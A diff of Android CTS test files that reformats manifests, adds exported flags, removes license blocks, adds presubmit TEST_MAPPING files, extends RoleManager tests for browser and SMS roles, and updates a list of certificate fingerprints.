                 <category android:name="android.intent.category.DEFAULT" />
@@ -72,14 +77,16 @@
         </service>
         <receiver
             android:name=".SmsDelieverReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+            android:permission="android.permission.BROADCAST_SMS"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.provider.Telephony.SMS_DELIVER" />
             </intent-filter>
         </receiver>
         <receiver
             android:name=".SmsWapPushDelieverReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+            android:permission="android.permission.BROADCAST_WAP_PUSH"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
                 <data android:mimeType="application/vnd.wap.mms-message" />
@@ -87,7 +94,9 @@
         </receiver>
 
         <!-- Browser -->
-        <activity android:name=".BrowserActivity">
+        <activity
+            android:name=".BrowserActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
                 <category android:name="android.intent.category.BROWSABLE" />
@@ -97,7 +106,9 @@
         </activity>
 
         <!-- Assistant -->
-        <activity android:name=".AssistantActivity">
+        <activity
+            android:name=".AssistantActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.ASSIST" />
                 <category android:name="android.intent.category.DEFAULT" />
diff --git a/tests/tests/role/CtsRoleTestApp28/Android.bp b/tests/tests/role/CtsRoleTestApp28/Android.bp
index 462ab04..0e82deb 100644
--- a/tests/tests/role/CtsRoleTestApp28/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp28/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsRoleTestApp28",
     sdk_version: "test_current",
diff --git a/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
index 032d94d..f3ba473 100644
--- a/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2019 The Android Open Source Project
   ~
@@ -16,67 +15,67 @@
   ~ limitations under the License.
   -->
 
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.app.role.cts.app28">
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.app.role.cts.app28">
 
-    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+    <uses-sdk android:minSdkVersion="28"
+         android:targetSdkVersion="28"/>
 
-    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.SEND_SMS"/>
 
     <application android:label="CtsRoleTestApp28">
 
-        <activity
-            android:name=".ChangeDefaultDialerActivity"
-            android:exported="true" />
+        <activity android:name=".ChangeDefaultDialerActivity"
+             android:exported="true"/>
 
-        <activity
-            android:name=".ChangeDefaultSmsActivity"
-            android:exported="true" />
+        <activity android:name=".ChangeDefaultSmsActivity"
+             android:exported="true"/>
 
         <!-- Dialer -->
-        <activity android:name=".DialerDialActivity">
+        <activity android:name=".DialerDialActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
+                <action android:name="android.intent.action.DIAL"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
+                <action android:name="android.intent.action.DIAL"/>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <data android:scheme="tel" />
+                <data android:scheme="tel"/>
             </intent-filter>
         </activity>
 
         <!-- Sms -->
-        <activity android:name=".SmsSendToActivity">
+        <activity android:name=".SmsSendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="smsto" />
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="smsto"/>
             </intent-filter>
         </activity>
-        <service
-            android:name=".SmsRespondViaMessageService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
+        <service android:name=".SmsRespondViaMessageService"
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="smsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="smsto"/>
             </intent-filter>
         </service>
-        <receiver
-            android:name=".SmsDelieverReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+        <receiver android:name=".SmsDelieverReceiver"
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name=".SmsWapPushDelieverReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+        <receiver android:name=".SmsWapPushDelieverReceiver"
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
index d3ebfc5..3c09a30 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
+++ b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
@@ -18,7 +18,6 @@
 
 import android.app.Instrumentation
 
-import android.app.role.RoleControllerManager
 import android.app.role.RoleManager
 import android.content.Context
 import android.content.Intent
@@ -42,15 +41,14 @@
 import java.util.function.Consumer
 
 /**
- * Tests [RoleControllerManager].
+ * Tests RoleControllerManager APIs exposed on [RoleManager].
  */
 @RunWith(AndroidJUnit4::class)
 class RoleControllerManagerTest {
     private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
     private val context: Context = instrumentation.context
     private val packageManager: PackageManager = context.packageManager
-    private val roleControllerManager: RoleControllerManager =
-        context.getSystemService(RoleControllerManager::class.java)!!
+    private val roleManager: RoleManager = context.getSystemService(RoleManager::class.java)!!
 
     @Before
     fun installApp() {
@@ -95,7 +93,7 @@
     ) {
         runWithShellPermissionIdentity {
             val future = CompletableFuture<Boolean>()
-            roleControllerManager.isApplicationVisibleForRole(
+            roleManager.isApplicationVisibleForRole(
                 roleName, packageName, context.mainExecutor, Consumer { future.complete(it) }
             )
             val isVisible = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
@@ -121,7 +119,7 @@
     private fun isRoleVisible(roleName: String): Boolean =
         runWithShellPermissionIdentity(ThrowingSupplier {
             val future = CompletableFuture<Boolean>()
-            roleControllerManager.isRoleVisible(
+            roleManager.isRoleVisible(
                 roleName, context.mainExecutor, Consumer { future.complete(it) }
             )
             future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 00ddc34..255b699 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -930,6 +930,32 @@
                 APP_PACKAGE_NAME)).isEqualTo(PackageManager.PERMISSION_GRANTED);
     }
 
+    @Test
+    public void packageManagerGetDefaultBrowserBackedByRole() throws Exception {
+        addRoleHolder(RoleManager.ROLE_BROWSER, APP_PACKAGE_NAME);
+
+        assertThat(sPackageManager.getDefaultBrowserPackageNameAsUser(UserHandle.myUserId()))
+                .isEqualTo(APP_PACKAGE_NAME);
+    }
+
+    @Test
+    public void packageManagerSetDefaultBrowserBackedByRole() throws Exception {
+        callWithShellPermissionIdentity(() -> sPackageManager.setDefaultBrowserPackageNameAsUser(
+                APP_PACKAGE_NAME, UserHandle.myUserId()));
+
+        assertIsRoleHolder(RoleManager.ROLE_BROWSER, APP_PACKAGE_NAME, true);
+    }
+
+    @Test
+    public void telephonySmsGetDefaultSmsPackageBackedByRole() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
+
+        addRoleHolder(RoleManager.ROLE_SMS, APP_PACKAGE_NAME);
+
+        assertThat(Telephony.Sms.getDefaultSmsPackage(sContext)).isEqualTo(APP_PACKAGE_NAME);
+    }
+
+    @NonNull
     private List<String> getRoleHolders(@NonNull String roleName) throws Exception {
         return callWithShellPermissionIdentity(() -> sRoleManager.getRoleHolders(roleName));
     }
diff --git a/tests/tests/rsblas/TEST_MAPPING b/tests/tests/rsblas/TEST_MAPPING
new file mode 100644
index 0000000..5772971
--- /dev/null
+++ b/tests/tests/rsblas/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsRsBlasTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/rsblas/libbnnmdata/Android.bp b/tests/tests/rsblas/libbnnmdata/Android.bp
index 668f607..f9ffb54 100644
--- a/tests/tests/rsblas/libbnnmdata/Android.bp
+++ b/tests/tests/rsblas/libbnnmdata/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libbnnmdata_jni",
     srcs: ["test_data.cpp"],
diff --git a/tests/tests/rscpp/TEST_MAPPING b/tests/tests/rscpp/TEST_MAPPING
new file mode 100644
index 0000000..469d1b7
--- /dev/null
+++ b/tests/tests/rscpp/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsRsCppTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 41534b7..f9370cc 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -19,8 +19,6 @@
 include $(CLEAR_VARS)
 LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
 LOCAL_MODULE := librscpptest_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_SRC_FILES := \
@@ -56,3 +54,6 @@
 LOCAL_NDK_STL_VARIANT := c++_static
 
 include $(BUILD_SHARED_LIBRARY)
+
+
+
diff --git a/tests/tests/sax/Android.bp b/tests/tests/sax/Android.bp
index da59526..8a1a30a 100644
--- a/tests/tests/sax/Android.bp
+++ b/tests/tests/sax/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSaxTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/sax/TEST_MAPPING b/tests/tests/sax/TEST_MAPPING
new file mode 100644
index 0000000..f8c149d
--- /dev/null
+++ b/tests/tests/sax/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSaxTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
index eae5e9b..fc241b3 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
@@ -1,10 +1,6 @@
 //////////////////////////////////////////////////////////////////
 // Signed Package
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_import {
     name: "signed-CtsSecureElementAccessControlTestCases1",
     apk: "apk/signed-CtsSecureElementAccessControlTestCases1.apk",
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
index 5ba6505..1582a1c 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
@@ -1,10 +1,6 @@
 //////////////////////////////////////////////////////////////////
 // Signed Package
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_import {
     name: "signed-CtsSecureElementAccessControlTestCases2",
     apk: "apk/signed-CtsSecureElementAccessControlTestCases2.apk",
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
index a14a327..7ae3cf6 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
@@ -1,10 +1,6 @@
 //////////////////////////////////////////////////////////////////
 // Signed Package
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_import {
     name: "signed-CtsSecureElementAccessControlTestCases3",
     apk: "apk/signed-CtsSecureElementAccessControlTestCases3.apk",
diff --git a/tests/tests/secure_element/omapi/Android.bp b/tests/tests/secure_element/omapi/Android.bp
index 4cee16e..cd6362b 100644
--- a/tests/tests/secure_element/omapi/Android.bp
+++ b/tests/tests/secure_element/omapi/Android.bp
@@ -15,10 +15,6 @@
 //////////////////////////////////////////////////////////////////
 // Signed Package
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_import {
     name: "signed-CtsOmapiTestCases",
     apk: "apk/signed-CtsOmapiTestCases.apk",
diff --git a/tests/tests/secure_element/omapi/TEST_MAPPING b/tests/tests/secure_element/omapi/TEST_MAPPING
new file mode 100644
index 0000000..d3a6ad9
--- /dev/null
+++ b/tests/tests/secure_element/omapi/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsOmapiTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 2e0d0ef..ab52779 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSecurityTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 31f4c59..d6e427c 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -16,90 +16,88 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.security.cts">
+     package="android.security.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
-    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
+    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
 
     <!-- For FileIntegrityManager -->
-    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
 
     <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
 
         <service android:name="android.security.cts.SeccompDeathTestService"
-                 android:process=":death_test_service"
-                 android:isolatedProcess="true"
-                 android:exported="true"/>
+             android:process=":death_test_service"
+             android:isolatedProcess="true"
+             android:exported="true"/>
 
         <service android:name="android.security.cts.IsolatedService"
-                 android:process=":Isolated"
-                 android:isolatedProcess="true"/>
+             android:process=":Isolated"
+             android:isolatedProcess="true"/>
 
         <service android:name="android.security.cts.activity.SecureRandomService"
-                 android:process=":secureRandom"/>
-        <activity
-            android:name="android.security.cts.MotionEventTestActivity"
-            android:label="Test MotionEvent">
+             android:process=":secureRandom"/>
+        <activity android:name="android.security.cts.MotionEventTestActivity"
+             android:label="Test MotionEvent"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
-            android:label="Test Binder Exploit Race Condition activity">
+        <activity android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
+             android:label="Test Binder Exploit Race Condition activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.security.cts.NanoAppBundleTest$FailActivity"
-            android:label="Test Nano AppBundle customized failure catch activity">
+        <activity android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+             android:label="Test Nano AppBundle customized failure catch activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RUN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.RUN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
-            android:enabled="true"
-            android:exported="true">
+        <service android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
         </service>
 
-        <activity
-            android:name="android.security.cts.SkiaJpegDecodingActivity"
-            android:label="Test overflow in libskia JPG processing">
+        <activity android:name="android.security.cts.SkiaJpegDecodingActivity"
+             android:label="Test overflow in libskia JPG processing"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <receiver android:name="android.security.cts.PackageVerificationsBroadcastReceiver"
-                  android:permission="android.permission.BIND_PACKAGE_VERIFIER" >
+             android:permission="android.permission.BIND_PACKAGE_VERIFIER"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.PACKAGE_NEEDS_VERIFICATION"/>
-                <data android:mimeType="application/vnd.android.package-archive" />
+                <data android:mimeType="application/vnd.android.package-archive"/>
             </intent-filter>
         </receiver>
 
@@ -170,17 +168,16 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.security.cts"
-                     android:label="CTS tests of android.security.cts">
+         android:targetPackage="android.security.cts"
+         android:label="CTS tests of android.security.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.security.cts"
-                     android:label="CTS tests of android.security.cts">
+         android:targetPackage="android.security.cts"
+         android:label="CTS tests of android.security.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CrashParserRunListener" />
+             android:value="com.android.cts.runner.CrashParserRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
index e91965d..60f9348 100644
--- a/tests/tests/security/jni/Android.bp
+++ b/tests/tests/security/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library {
     name: "libctssecurity_jni",
     srcs: [
diff --git a/tests/tests/security/native/encryption/Android.bp b/tests/tests/security/native/encryption/Android.bp
index 2da0ad0..b6b9d27 100644
--- a/tests/tests/security/native/encryption/Android.bp
+++ b/tests/tests/security/native/encryption/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CtsNativeEncryptionTestCases",
     cflags: [
diff --git a/tests/tests/security/native/verified_boot/Android.bp b/tests/tests/security/native/verified_boot/Android.bp
index 19b54cd..5b66097 100644
--- a/tests/tests/security/native/verified_boot/Android.bp
+++ b/tests/tests/security/native/verified_boot/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CtsNativeVerifiedBootTestCases",
     cflags: [
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin
new file mode 100644
index 0000000..6058316
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index 0b4780f..a6cef5a 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -27,13 +27,13 @@
 @SecurityTest
 class CertificateData {
   static final String[] CERTIFICATE_DATA = {
-      "91:C6:D6:EE:3E:8A:C8:63:84:E5:48:C2:99:29:5C:75:6C:81:7B:81",
+      "99:9A:64:C3:7F:F4:7D:9F:AB:95:F1:47:69:89:14:60:EE:C4:C3:C5",
       "D1:CB:CA:5D:B2:D5:2A:7F:69:3B:67:4D:E5:F0:5A:1D:0C:95:7D:F0",
       "69:69:56:2E:40:80:F4:24:A1:E7:19:9F:14:BA:F3:EE:58:AB:6A:BB",
       "92:5A:8F:8D:2C:6D:04:E0:66:5F:59:6A:FF:22:D8:63:E8:25:6F:3F",
       "75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
       "DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
-      "F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
+      "B4:90:82:DD:45:0C:BE:8B:5B:B1:66:D3:E2:A4:08:26:CD:ED:42:CF",
       "58:E8:AB:B0:36:15:33:FB:80:F7:9B:1B:6D:29:D3:FF:8D:5F:00:F0",
       "55:A6:72:3E:CB:F2:EC:CD:C3:23:74:70:19:9D:2A:BE:11:E3:81:D1",
       "D6:9B:56:11:48:F0:1C:77:C5:45:78:C1:09:26:DF:5B:85:69:76:AD",
@@ -52,14 +52,11 @@
       "5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
       "2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
       "A8:98:5D:3A:65:E5:E5:C4:B2:D7:D6:6D:40:C6:DD:2F:B1:9C:54:36",
-      "59:22:A1:E1:5A:EA:16:35:21:F8:98:39:6A:46:46:B0:44:1B:0F:A9",
       "D4:DE:20:D0:5E:66:FC:53:FE:1A:50:88:2C:78:DB:28:52:CA:E4:74",
-      "02:FA:F3:E2:91:43:54:68:60:78:57:69:4D:F5:E4:5B:68:85:18:68",
       "76:E2:7E:C1:4F:DB:82:C1:C0:A6:75:B5:05:BE:3D:29:B4:ED:DB:BB",
       "D8:C5:38:8A:B7:30:1B:1B:6E:D4:7A:E6:45:25:3A:6F:9F:1A:27:61",
       "E0:11:84:5E:34:DE:BE:88:81:B9:9C:F6:16:26:D1:96:1F:C3:B9:31",
       "93:05:7A:88:15:C6:4F:CE:88:2F:FA:91:16:52:28:78:BC:53:64:17",
-      "59:AF:82:79:91:86:C7:B4:75:07:CB:CF:03:57:46:EB:04:DD:B7:16",
       "50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
       "FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
       "8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
@@ -73,48 +70,44 @@
       "66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
       "2A:1D:60:27:D9:4A:B1:0A:1C:4D:91:5C:CD:33:A0:CB:3E:2D:54:CB",
       "DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
-      "22:D5:D8:DF:8F:02:31:D1:8D:F7:9D:B7:CF:8A:2D:64:C9:3F:6C:3A",
       "F3:73:B3:87:06:5A:28:84:8A:F2:F3:4A:CE:19:2B:DD:C7:8E:9C:AC",
       "06:08:3F:59:3F:15:A1:04:A0:69:A4:6B:A9:03:D0:06:B7:97:09:91",
       "CA:BD:2A:79:A1:07:6A:31:F2:1D:25:36:35:CB:03:9D:43:29:A5:E8",
       "43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
-      "F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
       "05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
       "30:D4:24:6F:07:FF:DB:91:89:8A:0B:E9:49:66:11:EB:8C:5E:46:E5",
       "D1:EB:23:A4:6D:17:D6:8F:D9:25:64:C2:F1:F1:60:17:64:D8:E3:49",
       "B8:01:86:D1:EB:9C:86:A5:41:04:CF:30:54:F3:4C:52:B7:E5:58:C6",
       "4C:DD:51:A3:D1:F5:20:32:14:B0:C6:C5:32:23:03:91:C7:46:42:6D",
-      "DE:28:F4:A4:FF:E5:B9:2F:A3:C5:03:D1:A3:49:A7:F9:96:2A:82:12",
       "0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
       "CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
       "FF:BD:CD:E7:82:C8:43:5E:3C:6F:26:86:5C:CA:A8:3A:45:5B:C3:0A",
-      "13:2D:0D:45:53:4B:69:97:CD:B2:D5:C3:39:E2:55:76:60:9B:5C:C6",
       "5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
       "49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
+      "89:D4:83:03:4F:9E:9A:48:80:5F:72:37:D4:A9:A6:EF:CB:7C:1F:D1",
       "B5:1C:06:7C:EE:2B:0C:3D:F8:55:AB:2D:92:F4:FE:39:D4:E7:0F:0E",
       "29:36:21:02:8B:20:ED:02:F5:66:C5:32:D1:D6:ED:90:9F:45:00:2F",
       "B6:AF:43:C2:9B:81:53:7D:F6:EF:6B:C3:1F:1F:60:15:0C:EE:48:66",
-      "37:9A:19:7B:41:85:45:35:0C:A6:03:69:F3:3C:2E:AF:47:4F:20:79",
       "FA:B7:EE:36:97:26:62:FB:2D:B0:2A:F6:BF:03:FD:E8:7C:4B:2F:9B",
       "C3:19:7C:39:24:E6:54:AF:1B:C4:AB:20:95:7A:E2:C3:0E:13:02:6A",
       "9F:74:4E:9F:2B:4D:BA:EC:0F:31:2C:50:B6:56:3B:8E:2D:93:C3:11",
       "A1:4B:48:D9:43:EE:0A:0E:40:90:4F:3C:E0:A4:C0:91:93:51:5D:3F",
-      "C9:A8:B9:E7:55:80:5E:58:E3:53:77:A7:25:EB:AF:C3:7B:27:CC:D7",
       "E2:B8:29:4B:55:84:AB:6B:58:C2:90:46:6C:AC:3F:B8:39:8F:84:83",
       "1F:49:14:F7:D8:74:95:1D:DD:AE:02:C0:BE:FD:3A:2D:82:75:51:85",
       "9F:F1:71:8D:92:D5:9A:F3:7D:74:97:B4:BC:6F:84:68:0B:BA:B6:66",
       "B5:61:EB:EA:A4:DE:E4:25:4B:69:1A:98:A5:57:47:C2:34:C7:D9:71",
